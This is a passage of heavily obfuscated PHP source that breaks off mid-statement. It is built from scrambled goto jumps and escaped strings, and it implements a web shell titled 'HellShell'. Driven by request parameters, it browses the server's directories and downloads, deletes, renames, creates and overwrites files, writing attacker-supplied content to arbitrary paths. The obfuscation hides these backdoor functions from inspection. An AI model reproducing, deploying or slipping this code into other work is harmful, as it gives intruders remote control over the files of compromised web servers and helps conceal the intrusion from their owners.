$s8hWD = new S6w0T($tUnme); goto xMHB4; SOxZQ: LvNAD: goto T21kq; Fs86k: PbdyU: goto FBwr6; QBC7y: zFbrx: goto Zoi8b; UJv1z: LerbK: goto HODk0; JY0sP: i_d0m: goto Y7noi; eMvwK: goto dKikv; goto rPcjt; kp5n9: BgbEE: goto Kk1Ev; drZ7J: goto NuHtj; goto aODuH; LQGuL: goto rOJ8q; goto Woiag; AGf2c: WV1q4: goto tn5HK; wvM5G: q7hoD: goto LfvTH; u3UcH: YcUig: goto wvM5G; QPDRP: goto pfJQ7; goto xyW2D; d1lZ2: goto msEep; goto hyxRS; SzvFg: goto QLiDU; goto jFXX4; XnTpj: Mlzlf: goto YS87K; FOBjz: FQgPB: goto aijv1; N0tdo: goto l8Ts7; goto CRQCp; ot7OM: GFVEx: goto ZqIvO; OLBkN: goto NlnCg; goto bsexg; D6Njc: m9e_l: goto LK51e; oBk_h: goto qnoxP; goto lVtDI; DuIvo: goto OZSVK; goto HyZO0; ijn0m: goto MtHzM; goto tJTtt; Owtkw: gRnHu: goto tCX8N; mGj0u: yqCJY: goto MHH3p; bZqDa: ImjyR: goto OmOy_; oDR69: goto kNw4K; goto bp0Ep; p_EOs: goto zT7B3; goto itVgW; FAw4n: goto GtXL7; goto Xpr4d; rHid2: skzZX: goto Ew4Vq; JzMHZ: if (empty($_GET["\x64\x6c"])) { goto gtobW; } goto HVahR; zPWuV: MfzhX: goto XQoQW; LAQcH: goto rLxPm; goto LPrNA; STKGW: cUXEM: goto pVl5H; N5T9R: goto obHgD; goto aPdzy; Fn2MS: vyGaQ: goto HBo7O; Qztwc: y67Ap: goto Ye10f; O1iFw: qRRBF: goto bAvkV; dhR5e: YuCj4: goto KAIdj; PZazT: goto Kjfaz; goto VWhb1; C7_fs: goto MfzhX; goto uQFMA; nagnh: eYfsX: goto XveWy; iCa1I: goto UE4UV; goto fFQF6; ux48b: goto nw9_P; goto KyGJz; cS1Um: goto aF9v3; goto r9ul1; V2OHJ: goto kwn_w; goto kTiZl; IMh2y: iNoeY: goto ekQhe; UalKh: goto BtDrW; goto juHmK; kgXAp: exit; goto av9h0; qX85B: r6FWt: goto Zf00L; vQh3A: cFPwG: goto XRSia; jjccd: goto B3ej5; goto y2xVh; ByJ5y: eL3o9: goto aCgnf; wEY1S: cLY67: goto DuCLf; YNYtN: n1xAc: goto QDb5k; oD1Eb: nwZhy: goto z51Jf; Hw32e: goto yYo4F; goto RUISB; bShoH: GUAlg: goto mY2O0; TPPFj: R2qCT: goto R3R3R; pmXSl: xAjms: goto XfhKL; vrgjF: goto lGDG8; goto YNYtN; veujo: goto GFVEx; goto t786g; Ye10f: DbkW8: goto hrlxR; o5L9C: goto zy63J; goto wRq1b; IZSOL: goto plEkR; goto d7rGB; Qay5o: goto v1oOS; goto uIeAN; W1Yey: jVYnj: goto auHqi; Vxlow: SScWF: goto kgXAp; UVUtQ: M0ssD: goto njHeJ; cSm55: goto QIiQR; goto SSma9; Dl1hP: goto pgOuG; goto Szx32; tObSm: Vpv02: goto SG5Lg; D5wXD: B_6Vv: goto WGcpz; sZ75u: QtsT4: goto Qay5o; r9ul1: yg7sc: goto eU41h; cmre0: YpUjo: goto CmNmh; O_PAq: Bdf2T: goto T_f2O; k5H1Z: $xBtNn = realpath($_GET["\x64\154"]); goto L2A51; q7YAy: goto eB7a0; goto GTP3p; lfrx4: MntkF: goto GX5GA; XYhaQ: goto oRPQR; goto cFk3g; hbaSs: qEiXE: goto evbZT; hxDMW: EGZPJ: goto Dh0LO; JrmU1: goto fciXr; goto pmXSl; chfAw: goto NDS3W; goto v_bQx; ZyBPB: Sh82s: goto JTJ_6; HODk0: echo "\74\150\62\76\105\x64\x69\164\x69\156\x67\x3a\40" . basename($OYF8c) . "\x3c\x2f\150\x32\76"; goto T5gqz; CWDzT: V0rXx: goto C1vkz; sszjo: zy63J: goto kBz8y; bCGEg: o43mB: goto He2H7; h6GK8: BiKFr: goto KmQnX; oIF6W: Ke450: goto iXpBE; fM7Ha: if (is_file($OYF8c)) { goto f5nlv; } goto S301N; niBes: UJfjM: goto OQYRM; HwQDA: goto yyPmy; goto Aaa8o; dDHyn: @rename($D8T_A, $HF_AU); goto O5gxF; T1VpJ: EY5Ku: goto chPI0; xbpy_: goto WZXZz; goto yCiAq; Tm20x: mQZH3: goto TPqB0; MpkXP: goto j65UW; goto wY1La; e6jhU: ufbsx: goto uOeWD; GgoUW: goto Mf8XU; goto oBk_h; kY5qy: goto m8VZu; goto VhhhS; ROCbh: goto QlU0m; goto vCrY0; uOeWD: goto FZ2AP; goto hcwoJ; Qtv3E: MBBhg: goto Wfahm; tCX8N: nYEWv: goto VDpyM; guWkM: laL26: goto rEqON; cae8L: $tUnme = Dmvx7($fNAU7, $QeOFD, $q5ijL); goto HLnpY; APQLu: UQx3P: goto kY5qy; ik5MB: goto Uh58U; goto rHid2; hwypA: goto An6YB; goto tUduY; mXvip: goto q7hoD; goto K31sk; x6VNx: ACxZw: goto eM273; G_inn: I2JmY: goto cae8L; chPI0: goto btFGI; goto kdEdc; Q7X2c: Y2g2U: goto iAu5k; Pfozd: vos2X: goto VNQhF; kTiZl: goto JLhkU; goto jU6lT; i7xEX: goto q0QYS; goto ZKuDE; APerP: goto cc93s; goto FKta4; d_uUZ: zBLh6: goto EV0lx; qw6I2: goto DlJPI; goto zdSMe; KZ0MR: goto IHITf; goto NSBT6; aziJz: bEuoB: goto fz82N; pWLEz: goto MyQwH; goto psN7E; AbqTt: FeMir: goto QNppl; Wu0Dj: goto p7RcU; goto BCH5S; soE6m: goto evnh5; goto OA0vJ; m0qBm: goto zFbrx; goto bm28A; gaUcj: goto Uxmld; goto UDjGd; iXCp0: goto EMYdI; goto xEXPk; ZqIvO: goto vyGaQ; goto KAvzx; uGhan: goto fglM4; goto JRoYV; ivss1: w1uy_: goto lPC2j; TPqB0: goto YuCj4; goto Yi1pu; CsmT9: goto pOAWG; goto CNAMg; zfiF0: goto ReNg9; goto rxL9a; Ogr2e: goto ZFoCt; goto DYob3; PKpvj: eidbW: goto UUu0V; mNl1r: goto ZeFgS; goto BTV6s; J66w6: g6iHC: goto cTu15; VKTu_: uvuvp: goto GKsnu; P3Edt: WPVEP: goto ZyBPB; vGXSF: goto H4smI; goto lmu5v; yxCxR: BBOPc: goto SXKBh; at1Di: fT1WW: goto gIm_B; U1oqU: goto Bdf2T; goto FOBjz; c7tgh: goto I2JmY; goto CZLgn; c9tdZ: goto TXPYd; goto aPMgW; LPrNA: rivn3: goto ZgZvc; SIi_F: T07g6: goto sszjo; X3sGq: JDHCe: goto O29SP; ry0vH: goto iZ5nl; goto HgL8O; qXC8Y: goto KX2Vx; goto qB9Xc; TAeJb: goto DckSI; goto MfKxB; C1n98: Kcvlm: goto TH0hL; NO2YR: IOF4v: goto foNlo; y2xVh: goto LWJCi; goto eKlHo; ijyDK: echo hVC0_($JdqDR); goto gaUcj; gIm_B: goto JMBjk; goto mUedk; N0XQT: WPvfP: goto VKTu_; maSn0: goto ZzPDj; goto QsPIc; FY3ak: goto bMXBV; goto mNl1r; DULDq: goto YvT8m; goto cD76l; tBYLp: goto A5jA1; goto J6pyu; UCa6o: goto j2XUx; goto HMmv3; ebmTO: wssjk: goto s2s94; gtyx3: @unlink($OYF8c); goto xglhX; yikDg: goto SuKca; goto wsSRO; KyGJz: jZbVd: goto AW3Fk; O_ANL: vulF5: goto pS7J6; m3RSl: goto XO56O; goto SbBwM; QrANG: goto zxdlp; goto WOL8H; XAd4w: xCCXR: goto A3iAc; A5vJ4: goto ct3Gd; goto CH5gS; vUscg: Xu8Zx: goto XW18E; nuTOO: gNdVv: goto xdHqL; lmu5v: ZFoCt: goto ithkt; PJpNQ: IfnJf: goto F51Qt; lOUZQ: goto s6Utd; goto yTLyD; H7JE0: yyPmy: goto m6RZK; BTV6s: QxCZA: goto pfb_H; kdEdc: jED5H: goto Rke00; HEtXH: goto QT1FZ; goto wW6wz; LHMHt: goto Kcvlm; goto b8TnL; E6mJN: goto VRmhe; goto bnXuH; O1XTW: pgOuG: goto fW3YQ; VIfmn: goto fdUer; goto L7bMW; t786g: obHgD: goto pPuqB; K31sk: goto rxTcl; goto qW_H0; YfHrC: T4o2I: goto hu4uH; N7YKq: rF9Q0: goto Yp3qL; Qd3lh: if (empty($_POST["\x6e\145\167\x66\151\x6c\x65"])) { goto egqsq; } goto DW21w; MLYir: FAGob: goto bq3T2; DuCLf: HTfnm: goto yjdWQ; OLa4J: f5n0p: goto s5nwg; d12wZ: goto JscKU; goto CTPbL; P3Dsn: goto PEDAo; goto cg4ZT; R3R3R: goto Ig84v; goto OuzcA; DwdO1: goto TbGY0; goto zK5Gj; aODuH: IqZZY: goto ilgUX; ihlYt: goto bgQX6; goto wV2dM; RTRbS: goto ImjyR; goto HEtXH; pS7J6: goto UQx3P; goto jg0N4; x2NQw: n4Z1k: goto JmZFb; V4Gs8: goto xCCXR; goto B1nVA; O0SeS: goto W6f3O; goto tmFJ3; nRCFw: goto ZxcyU; goto tBYLp; zLv0S: goto AG2ub; goto whaQj; c1U1G: goto zBLh6; goto wD9U7; PQ4_q: goto LvNAD; goto JFlyl; u01qJ: M_aAL: goto veujo; C6DGU: goto OCR1p; goto fm2b4; prjZV: file_put_contents($OYF8c, $_POST["\x66\151\x6c\x65\144\141\x74\141"]); goto k4Vi5; tn5HK: goto n1dUr; goto Qztwc; OQYRM: cR2JV: goto jG054; ZvKn_: goto iwDZz; goto h43tU; lRc0U: NKnHC: goto m3RSl; cAAde: goto VMmqS; goto u7cmk; XnVfC: goto y67Ap; goto nagnh; GcvOD: eJqKf: goto wo9bF; Lfe3c: h7FAQ: goto MqVgE; uEoKz: goto GvS0d; goto tzF67; coJ7U: m8VZu: goto tEAi1; LHCPs: goto nWrVW; goto ydG6k; bnyOP: V3DtT: goto at1Di; KoEQZ: kNw4K: goto zAaF6; hiKrU: goto gw96m; goto OE7sw; CwWL8: KugWs: goto M2hcK; nk0Ti: echo $hznvy; goto soNvH; CZKTK: vuZTj: goto Osgk9; Yj7dO: Y0jlT: goto qLPnR; vwZaR: nZebr: goto HLD_L; dzeBt: WrIFn: goto Sj5EP; ckwc3: goto iWIvM; goto FL8BU; QNppl: goto yF6N3; goto CSW8n; GFjzR: goto uo4RA; goto GhxD3; nMeT9: goto ipmoX; goto XAd4w; Q92Uz: RZCVG: goto RrQzB; Mmj9S: if (empty($_GET["\162\x6d"])) { goto XFYQV; } goto lAoqM; VTF8J: HfAyO: goto Wu0Dj; sjCR2: CxF4g: goto HL_Ea; Q1G_q: goto uLRAc; goto H7UpU; G6_zE: goto QfHUS; goto dzZAB; ZKuDE: AMiM3: goto P0cNU; Noz1Z: EM03P: goto tLalb; x1zVu: nw9_P: goto V1vcl; yvmps: goto R1csS; goto bIuzY; wY1La: goto h5315; goto KXSWh; zdpHs: goto LerbK; goto BuMBm; fYcK6: goto bB2bQ; goto cUMx9; TNp3M: goto a7Syc; goto PVG03; bBowp: goto kDQNo; goto G8pQn; B05Ub: goto xUQTL; goto bnyOP; M92EE: goto YPNKf; goto MK6VQ; wW6wz: bJytY: goto FLgPu; s9Uw_: goto TkaFs; goto v0IZQ; tvKkm: goto LcHIH; goto Fs86k; gUCUZ: goto Xu8Zx; goto zPWuV; hyfoa: goto DAUAM; goto f3roe; G8RQx: goto lvK0j; goto KMUru; XUR1G: N_uzv: goto gco9H; W6N2X: VPmxL: goto chfAw; SbBwM: tcFgj: goto QrANG; IHLnC: Qjkti: goto HFyGT; NC8Tt: goto veDoV; goto idetg; cUMx9: TOJnr: goto bkpQm; pAD7h: foreach (scandir($JdqDR) as $jCoCn) { goto UyE9z; Y66nj: goto n9JmS; goto CmzPy; jZlId: goto Se3Tu; goto UILML; aiXU6: goto Hc5YW; goto CeA49; WYe8a: goto b1Sy6; goto RLwy3; yeT4n: hhcfl: goto H8BnH; SCbx4: LnGzv: goto zH3J1; dWdfR: goto kYwc5; goto fRt65; yHJKI: zckap: goto cC8lK; kpLTJ: ww1pr: goto PQx9C; n0Icx: goto hovEi; goto ieGSh; ZEQ3y: goto v8v3A; goto sHonK; XAOvM: goto JRZly; goto tuZY1; oTceV: LWu5h: goto SF4P0; yYzOb: echo "\x3c\x2f\x74\x64\76\74\x74\x64\40\x73\x74\x79\x6c\145\75\x27\x63\x6f\154\157\162\x3a{$nMJTQ}\47\x3e{$zg_8u}\74\x2f\x74\x64\x3e\x3c\164\144\76\xa\x20\x20\x20\x20\x3c\x61\40\163\x74\x79\x6c\145\x3d\47\143\157\x6c\x6f\x72\x3a\x77\150\x69\x74\145\x27\x20\x68\162\145\x66\x3d\47{$y7k3f}\x27\76\104\74\57\141\x3e\xa\40\x20\x20\x20\x3c\x66\157\x72\155\x20\x63\154\x61\x73\x73\75\47\151\156\154\x69\x6e\x65\x27\40\155\145\164\x68\157\x64\75\x27\160\157\163\164\47\x20\x6f\156\x73\165\142\x6d\151\164\75\x27\162\x65\164\165\x72\x6e\x20\x72\145\156\x61\x6d\x65\103\x6f\x6e\x66\151\162\x6d\x28\x74\150\x69\163\51\x27\x3e\12\x20\x20\40\40\74\x69\x6e\x70\x75\164\x20\x74\171\x70\145\x3d\47\150\151\144\x64\x65\x6e\x27\40\x6e\141\155\145\x3d\47\x72\x65\156\x61\x6d\145\137\x6f\154\144\47\x20\x76\141\154\165\x65\75\47{$B_FcA}\x27\x3e\12\40\x20\x20\x20\x3c\x69\156\x70\x75\164\x20\x74\171\160\145\x3d\47\164\145\170\x74\47\x20\156\x61\155\145\x3d\47\162\145\156\141\x6d\x65\137\156\x65\167\x27\x20\x76\x61\154\165\145\75\47" . htmlspecialchars($jCoCn) . "\47\x20\x73\x74\171\x6c\x65\75\47\x77\151\x64\x74\x68\72\67\x30\160\x78\47\76\12\x20\40\40\40\x3c\142\x75\164\x74\157\156\40\163\164\171\154\145\x3d\x27\x63\157\x6c\157\162\72\x77\150\x69\164\145\x27\x3e\122\x3c\57\142\165\164\164\157\x6e\x3e\xa\x20\x20\x20\x20\74\x2f\x66\157\x72\155\76\xa\40\x20\x20\40\x3c\x61\40\x73\x74\171\154\145\x3d\x27\x63\157\154\x6f\x72\x3a\167\150\151\164\145\47\40\150\162\145\146\75\47{$Hltqj}\47\x3e\105\74\x2f\141\x3e\xa\40\x20\x20\x20\x3c\57\x74\x64\76\x3c\x2f\164\162\76"; goto bT8db; c5L6t: goto Ln1ZT; goto prmJm; oVW4n: goto fVz1f; goto d5M8e; u1Ujr: OS6HX: goto XcsWr; BYjEX: goto gC_nZ; goto kGEuA; SfTo5: goto XmNHK; goto aeLSj; FcO1M: goto BA5Y_; goto tQEXP; YhIq7: goto TqnTE; goto pT5jL; fRt65: fVz1f: goto FcO1M; H8BnH: goto ne4ge; goto ybvzn; nt4Ds: pwhrg: goto Y63ME; X0KyS: hovEi: goto emleV; DSRj9: BTRC8: goto uZL8m; BH5yT: XbFFZ: goto yYzOb; w6XrN: $y7k3f = "\x3f\x64\x69\162\x3d" . urlencode($JdqDR) . "\x26\144\154\x3d" . urlencode($B_FcA); goto CfdED; YKYhJ: goto iUN4R; goto M0t1W; CmzPy: PpN1E: goto FdShd; Hjko0: echo "\x3c\x74\x72\x3e\x3c\164\x64\40\163\x74\171\154\x65\75\47\x63\x6f\x6c\x6f\x72\72{$nMJTQ}\47\76"; goto n0Icx; hhHIX: YULeT: goto yvqNV; WjkFx: goto WT6NY; goto Mh9Mz; N5kcV: goto QaNoD; goto yeT4n; tA7kr: goto loqVU; goto xKN8C; p3ddV: QaNoD: goto ZL2Dt; k381R: goto vseTk; goto h9Ahu; o3UvO: JVFFy: goto dp3bf; mMPhr: vseTk: goto WcKwo; UILML: JRZly: goto lh4fL; nyOcl: goto KIcvZ; goto XZNfU; TZeub: goto mz60F; goto tA7kr; dKObb: PcK78: goto dbyy_; zdB2U: V3gWK: goto u9145; G0bdL: w96y4: goto ulBpB; M0t1W: goto oLutN; goto F8iBn; yvqNV: rVIbV: goto QfgFv; eNMy1: RSt_5: goto Tzhjh; g1Mwd: E5c6l: goto o40iL; b6w1W: goto zPi6x; goto Og_xx; ssDLc: Ln1ZT: goto N5kcV; CeA49: goto OS6HX; goto HDW3d; Lh2Ce: goto jVjWf; goto SCbx4; D1HA1: HjmKJ: goto BiAY0; jN7HS: goto evaVG; goto Qppls; xPHbk: Se3Tu: goto Scnm2; wW_Pu: goto JdfwG; goto VH8fr; hi5J2: goto JVFFy; goto H3hLL; LxY_2: goto Y0R_U; goto KtXCs; HDW3d: EaZ0n: goto YKYhJ; grNQv: goto iMqQ6; goto f0h4T; Qr6DM: LVJwS: goto w6XrN; i0xNU: goto HldqB; goto InW24; UovVL: goto Chjeo; goto uJ9Wa; cQOnS: RGJFQ: goto VjUJ0; Qppls: aFbdp: goto Xsbju; CfdED: goto RGJFQ; goto ePr2H; N7jK5: sRzTa: goto DSRj9; XZNfU: goto YULeT; goto sPmAg; emleV: goto zckap; goto BK9Z2; eoJep: HFjca: goto PElk1; bT8db: goto EaZ0n; goto X0KyS; vUqeX: Avye1: goto G0bdL; Fo4Ze: uJjJO: goto a4qAR; ElKy2: I9xNA: goto NlPIq; VadYr: goto gZ8G9; goto Fo4Ze; Mh9Mz: goto S1QS5; goto veyYh; NlPIq: if (is_dir($B_FcA)) { goto Glzcf; } goto S5FJQ; h_xE4: TqnTE: goto srvFf; uZL8m: goto pz9NH; goto S36Yq; VaAmQ: Dquw7: goto C4tSW; zRGcS: auC7e: goto edsE6; xOGoU: echo htmlspecialchars($jCoCn); goto i0xNU; PElk1: $epbTS = "\x3f\x64\151\162\x3d" . urlencode($JdqDR) . "\46\x72\155\75" . urlencode($B_FcA); goto YF0jv; sPmAg: FpKAZ: goto xOGoU; WbT4H: goto vB3JR; goto zRGcS; nJE0E: XN6Cy: goto eNMy1; VH8fr: jVjWf: goto Hjko0; rCzF8: wbtD5: goto VadYr; kGEuA: QL6U8: goto wTv3h; PeBja: Chjeo: goto c5L6t; uxWZg: goto mK9OZ; goto BH5yT; dbyy_: goto rVIbV; goto Nuhtr; aFy_Q: goto XbFFZ; goto g1Mwd; wTv3h: ne4ge: goto Lh2Ce; grZum: goto ww1pr; goto hiHAj; Scnm2: goto BTRC8; goto BYjEX; rucUY: echo "\74\141\40\x68\162\145\x66\75\47\77\x64\x69\x72\75" . urlencode($B_FcA) . "\x27\x3e\133\x44\x49\x52\x5d\x20{$jCoCn}\x3c\57\x61\x3e"; goto WzKXA; Xsbju: goto gIaSm; goto J2e4b; tuZY1: GtRyG: goto Jds7I; FmD5s: HqXhf: goto HHS0l; n_MvJ: lHL_A: goto h_xE4; CrOLp: oLutN: goto yHJKI; au_ND: $Hltqj = "\x3f\144\x69\x72\75" . urlencode($JdqDR) . "\46\x65\x64\x69\x74\x3d" . urlencode($B_FcA); goto jZlId; ieGSh: kYwc5: goto aiXU6; RbjFb: le7qE: goto o3UvO; PQx9C: Hc5YW: goto WbT4H; o40iL: goto qrqe0; goto C3TUe; J2e4b: goto GtRyG; goto RbjFb; f6V7N: mz60F: goto FjMZZ; dp3bf: goto OuMj7; goto N7jK5; S5FJQ: goto KnG44; goto iSetL; tQEXP: goto le7qE; goto n_MvJ; edsE6: goto RSt_5; goto PDgB3; wVI5R: goto fU0xm; goto zdB2U; VjUJ0: goto LWu5h; goto k381R; PDgB3: goto sRzTa; goto hhHIX; iSetL: Glzcf: goto dWdfR; ZL2Dt: $zg_8u = is_file($B_FcA) ? filesize($B_FcA) : "\x2d"; goto Y66nj; cC8lK: goto I9xNA; goto LjeAj; a4qAR: qrqe0: goto wVI5R; FrdKK: sgnIB: goto WjkFx; hiHAj: vB3JR: goto LxY_2; BSIu1: goto lHL_A; goto aUw7A; pT5jL: goto E5c6l; goto eoJep; RLwy3: goto aFbdp; goto E7qW_; prmJm: goto QL6U8; goto cQOnS; nkieJ: goto LVJwS; goto LF_ML; Og_xx: tVKMg: goto D4Jx_; S36Yq: rKfzf: goto D1HA1; BiAY0: goto FpKAZ; goto WjfbZ; nxkyZ: XmNHK: goto PWZsV; BYNaH: if (!($jCoCn === "\x2e")) { goto tVKMg; } goto b6w1W; iT0U6: goto Y7YW8; goto CrOLp; Y63ME: KIcvZ: goto wW_Pu; aeLSj: mK9OZ: goto BYNaH; F8iBn: HldqB: goto nyOcl; InW24: pz9NH: goto fAGNE; E7qW_: yJrNY: goto TZeub; u9145: iMqQ6: goto ZEQ3y; d5M8e: Y7YW8: goto rucUY; fAGNE: $nMJTQ = is_writable($B_FcA) ? "\x23\x66\146\60" : "\43\146\x30\60"; goto I175j; xKN8C: cSOBQ: goto VaAmQ; WcKwo: WT6NY: goto uxWZg; FjMZZ: goto k0tWZ; goto nt4Ds; PWZsV: zPi6x: goto kj4no; uJ9Wa: k0tWZ: goto YhIq7; khUIN: goto wGijR; goto XAOvM; LF_ML: JdfwG: goto WYe8a; FdShd: Y0R_U: goto iT0U6; C4tSW: goto Avye1; goto xPHbk; zH3J1: goto HjmKJ; goto jN7HS; QfgFv: goto cSOBQ; goto PeBja; Nuhtr: goto HqXhf; goto u1Ujr; KtXCs: goto XN6Cy; goto nJE0E; Tzhjh: goto vUVxy; goto x1Zlu; I175j: goto hhcfl; goto vUqeX; sriQb: fU0xm: goto rCzF8; veyYh: p4DnE: goto hi5J2; WjfbZ: v8v3A: goto Ne9GF; HHS0l: wGijR: goto nkieJ; u23sO: goto LnGzv; goto ddkME; h9Ahu: vUVxy: goto u7lJB; yKuUf: goto wbtD5; goto SfTo5; WzKXA: goto auC7e; goto OZKHg; YF0jv: goto p4DnE; goto sriQb; ybvzn: goto pwhrg; goto p3ddV; ePr2H: gZ8G9: goto grNQv; Ne9GF: $B_FcA = $JdqDR . "\x2f" . $jCoCn; goto UovVL; D4Jx_: goto Zs341; goto Qr6DM; XcsWr: KnG44: goto u23sO; x1Zlu: gC_nZ: goto ssDLc; OZKHg: n9JmS: goto khUIN; H3hLL: goto uJjJO; goto dKObb; Y0rSP: gIaSm: goto grZum; C3TUe: goto rKfzf; goto bxbKZ; LjeAj: OuMj7: goto au_ND; kj4no: goto yJrNY; goto kpLTJ; bxbKZ: loqVU: goto oTceV; aUw7A: evaVG: goto f6V7N; f0h4T: goto V3gWK; goto ElKy2; BK9Z2: goto PpN1E; goto FrdKK; sHonK: Zs341: goto yKuUf; lh4fL: iUN4R: goto BSIu1; Jds7I: BA5Y_: goto aFy_Q; srvFf: goto PcK78; goto mMPhr; u7lJB: b1Sy6: goto oVW4n; UyE9z: goto sgnIB; goto nxkyZ; ddkME: S1QS5: goto Y0rSP; SF4P0: goto HFjca; goto FmD5s; ulBpB: } goto xExXe; PDrMa: if (empty($_POST["\x73\141\166\145\x66\151\x6c\x65"])) { goto AMiM3; } goto i7xEX; fK2Ze: goto uPBS1; goto JelQD; Zjoa3: UE4UV: goto KJ9DW; Vnkje: goto J2g9H; goto iO6Px; pfb_H: goto YdNYY; goto DZPMO; A3iAc: goto BPJ4w; goto H_Ys8; Orv0N: dLMym: goto m0qBm; pq4ZS: goto g6iHC; goto hKizP; kD6XT: goto PMfz0; goto f4YMc; jyS94: goto wG4QQ; goto beXJa; ElFdE: if (!(!$JdqDR || !is_dir($JdqDR))) { goto NEL4y; } goto txvvt; QkkKu: $OYF8c = realpath($_GET["\162\x6d"]); goto GFjzR; yUnRu: lAGKT: goto tkAOW; LhIiH: goto O2GDB; goto ecHb3; UDF0S: QT1FZ: goto XnTpj; RhnSC: AyUTC: goto l3eRf; kmudu: header("\x43\157\156\164\x65\x6e\x74\55\104\x69\x73\160\x6f\163\x69\164\151\157\x6e\72\40\141\x74\164\141\143\150\155\145\x6e\164\x3b\40\x66\151\x6c\145\x6e\x61\155\145\x3d\x22" . basename($xBtNn) . "\42"); goto vGXSF; Dh0LO: goto IfnJf; goto qjebX; rQbqD: goto R2qCT; goto dJQ6q; lhDSv: goto tMLMs; goto UGHVI; IrMlS: QjXFk: goto zN5y3; jEBL_: goto bdO96; goto RnKjm; QIsGB: yRMAV: goto O3TT9; KEX0F: goto Hm5Mz; goto JOi4O; AxE95: goto X_VRy; goto bqqHi; KVKlT: goto Vpv02; goto C7_fs; fJCbZ: q0QYS: goto OksMU; fj_AW: pnE5r: goto Fn2MS; ZGS9I: echo "\74\x2f\x75\x6c\x3e\74\x68\x72\76"; goto Lct8Y; fZ4fb: MyQwH: goto zxPvx; GzHf1: wodEv: goto Xq2OV; OiT2O: SuKca: goto RTRbS; WHIvP: goto hRga3; goto xlAOS; uzFib: XO56O: goto gw4Nl; iwikX: goto Naw4a; goto nuJVB; SAtNS: rxTcl: goto nl37G; T7lRt: echo "\x3c\x21\x44\117\103\124\131\120\105\40\x68\164\155\x6c\76\12\x3c\x68\164\x6d\154\76\12\x3c\150\x65\141\144\x3e\xa\x3c\155\145\x74\x61\40\143\150\x61\x72\x73\x65\x74\75\x22\165\164\x66\x2d\x38\42\76\xa\x3c\x74\151\164\x6c\x65\x3e\x48\x65\154\154\123\x68\145\x6c\x6c\74\x2f\x74\151\x74\x6c\x65\76\xa\74\x73\164\171\154\145\x3e\12\x62\157\x64\x79\x20\x7b\x20\142\141\143\153\147\162\157\165\x6e\144\x3a\43\x30\x30\60\x3b\40\x63\157\154\157\162\72\43\146\146\60\73\x20\x66\x6f\156\164\x2d\146\141\x6d\x69\154\x79\x3a\x41\x72\x69\x61\x6c\54\40\x73\x61\156\x73\55\x73\x65\x72\x69\x66\x3b\40\x74\145\x78\164\x2d\x61\154\x69\147\x6e\x3a\x63\145\x6e\164\x65\162\x3b\40\175\xa\150\x32\40\x7b\x20\143\x6f\x6c\157\x72\72\x23\x66\x66\60\73\x20\155\x61\162\147\151\156\72\62\60\160\170\40\60\x3b\x20\175\xa\141\x20\x7b\40\x63\157\154\157\x72\72\x23\146\x66\60\73\x20\x74\x65\170\x74\55\x64\x65\143\x6f\x72\x61\x74\x69\x6f\x6e\x3a\156\x6f\156\145\x3b\x20\x7d\12\141\72\150\157\x76\145\162\x20\173\40\x74\x65\170\x74\x2d\x64\x65\x63\x6f\162\x61\164\151\x6f\x6e\x3a\x75\x6e\x64\145\162\x6c\x69\156\145\73\40\175\xa\x2e\x6f\x6b\x20\173\40\143\157\154\157\x72\x3a\x23\x30\146\x30\73\x20\175\xa\x2e\145\162\162\x20\x7b\x20\x63\x6f\x6c\x6f\162\x3a\43\146\60\60\73\40\x7d\12\56\x77\x61\x72\156\40\173\x20\143\157\154\157\162\x3a\43\146\146\x30\73\40\175\12\x74\x61\x62\154\145\40\x7b\40\167\x69\144\x74\150\x3a\x39\60\45\x3b\x20\x6d\141\x72\147\151\x6e\x3a\x61\x75\x74\x6f\x3b\x20\x62\157\162\x64\x65\x72\x2d\143\x6f\154\154\x61\160\x73\x65\72\143\157\x6c\154\141\160\x73\145\73\x20\x6d\x61\162\147\x69\156\55\x74\x6f\x70\x3a\x32\60\x70\x78\x3b\40\x7d\xa\x74\144\54\164\x68\x20\173\x20\142\157\162\x64\x65\x72\72\x31\160\x78\40\163\157\154\x69\x64\40\x23\65\x35\x35\73\40\160\141\144\x64\151\x6e\x67\x3a\66\x70\x78\73\40\175\xa\x66\x6f\162\155\56\x69\x6e\154\151\156\145\x20\173\40\144\151\x73\x70\154\141\x79\72\151\x6e\154\x69\156\145\73\x20\175\xa\151\156\x70\x75\164\54\142\x75\164\x74\157\156\x20\173\x20\160\x61\x64\x64\x69\x6e\147\x3a\65\x70\x78\x3b\x20\x6d\141\162\147\151\156\x3a\63\160\x78\x3b\x20\x62\x61\143\153\x67\162\x6f\x75\x6e\144\72\43\61\x31\x31\x3b\40\142\x6f\x72\144\x65\162\72\x31\160\x78\x20\x73\157\154\x69\x64\40\x23\x66\x66\60\x3b\40\143\x6f\154\x6f\x72\72\43\146\146\60\73\x20\175\xa\142\165\164\x74\x6f\x6e\x5b\x6e\x61\155\145\75\143\154\157\156\145\137\150\145\x72\x65\x5d\40\173\40\155\x61\x72\x67\x69\156\55\x6c\145\146\164\x3a\61\60\160\170\x3b\40\x7d\xa\74\x2f\163\x74\x79\x6c\145\76\12\74\57\x68\145\141\144\76\xa\x3c\142\x6f\144\171\x3e\xa\x3c\x68\62\76\303\xb0\xc5\xb8\342\x80\x9d\xc2\xa5\x20\110\145\x6c\x6c\x53\x68\145\154\x6c\74\57\150\x32\76\12\x3c\160\76\x3c\142\x3e\120\x61\x74\x68\x3a\x3c\x2f\142\x3e\x20"; goto vmpMT; bnXuH: WjR1c: goto WkJJa; QjW0N: goto fYnAP; goto d5V4O; fW3YQ: Q8yTR: goto iXCp0; uFRdk: goto NqXEh; goto TqSGu; W3QoJ: TwgIS: goto CeVou; DBRvW: goto KR4dN; goto iKuDw; bZY1K: Jfy1n: goto V5q18; jG054: goto vulF5; goto gTcbi; Z_j7r: goto eYfsX; goto GzHf1; P18Wf: HKpfc: goto ZvKn_; rdMJx: vVbZO: goto GGuih; kj73H: goto w1uy_; goto NS_P6; vROd0: goto VrXPo; goto c9tdZ; xH_q2: fglM4: goto cvGW1; V3pkU: TbGY0: goto vWI69; SgrjO: SuiMc: goto G6_zE; KGpi0: goto Tbxrx; goto t7D2Y; vw0N5: goto eL3o9; goto yUM6u; zmw15: EtncM: goto x2NQw; JSfsG: LMiFP: goto OlNXB; Neq8l: lGDG8: goto CUAcn; Wrhjv: Kjfaz: goto hxDMW; ruGiS: goto DwIlf; goto e9J83; iE4ih: uLRAc: goto LQGuL; LvC12: tnzae: goto fzZPn; cytL0: echo 